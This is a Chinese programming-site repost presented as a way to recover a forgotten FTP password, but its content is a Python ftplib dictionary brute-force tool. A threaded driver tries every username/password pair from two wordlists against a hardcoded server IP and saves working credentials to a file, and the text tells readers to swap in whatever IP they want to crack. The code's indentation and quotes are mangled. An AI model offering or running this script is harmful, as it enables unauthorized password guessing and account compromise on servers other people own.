当前位置:  编程技术>python

忘记ftp密码使用python ftplib库暴力破解密码的方法示例

    来源: 互联网  发布时间:2014-09-04

    本文导语:  python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根...

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”n”)
except ftplib.error_perm:
print “passwd is world”


需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。


    
 
 

您可能感兴趣的文章:

  • 请问:我知道路由器的telnet密码,但忘记了enable 密码,请问如何是好?
  • MySQL密码忘记了!!登录不进去!!如何取回密码??相当急
  • root密码丢失后忘记了,能要回root的密码吗?怎样要?
  • mysql修改用户密码的方法和mysql忘记密码的解决方法
  • 散分一百,紧急求救!ROOT密码忘记
  • 忘记超级用户密码怎么办!!在线
  • linux登录用户和密码忘记。。。如何是好?
  • javascript开源软件 iis7站长之家
  • unix普通用户密码忘记了怎么办
  • 登陆LINUX时忘记密码如何登陆?快来帮帮我!
  • kvm中跑的xp系统的密码忘记了咋办啊???急急
  • 忘记了root密码,该怎么办?
  • ProFTPD的密码忘记了,进不了FTP,我该怎么办?
  • linux 的登陆密码忘记了怎么办?
  • linux忘记mysql密码处理方法
  • 忘记linux root密码
  • 跪求啊,我的邮箱密码忘记了,那位大侠帮帮忙啊
  • 请教下关于root密码忘记了怎么修改(除了去现场单用户修改)
  • ubuntu, winxp双系统, 忘记xp密码怎么办?
  • redhat8.0忘记超级用户密码怎么办!!
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • linux fedora7 密码忘记
  • 求救…………linux 8.0的用户名忘记了,怎么找回来啊……?
  • 忘记了,进行软盘按磁道DISKCOPY的软件是什么来?
  • 急!!!!linux登录密码忘记了,系统内有很重要的数据库,该怎么办??
  • 安装Oracle 10g忘记sys密码
  • Sql Server忘记密码的解决办法
  • Oracle 忘记密码的找回方法
  • 怎样另外打开一个窗口显示页面a.jsp?好像有个函数,我忘记了,多谢,
  • 急救!!——忘记了linux登陆密码,有办法进去吗?
  • 郁闷中,忘记了ROOT 密码
  • 忘记登陆密码怎么办?
  • vi中匹配(){}的命令是哪个?忘记了。
  • 请问哪里能下载到pam-devel软件包?忘记安装了,急用,谢谢
  • 求助:忘记了root用户的密码,如何给普通用户赋root权限
  • linux 命令---d**code 忘记怎么写更不知道是什么作用了
  • mysql忘记密码的解决方法
  • 我忘记了语法,一个简单的问题希望各位帮着解决一下。急!!!
  • 忘记chmod命令的格式怎么写了
  • oracle忘记sys/system/scott用户密码的解决方法
  • 密码忘记了,怎样才能进入系统?


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3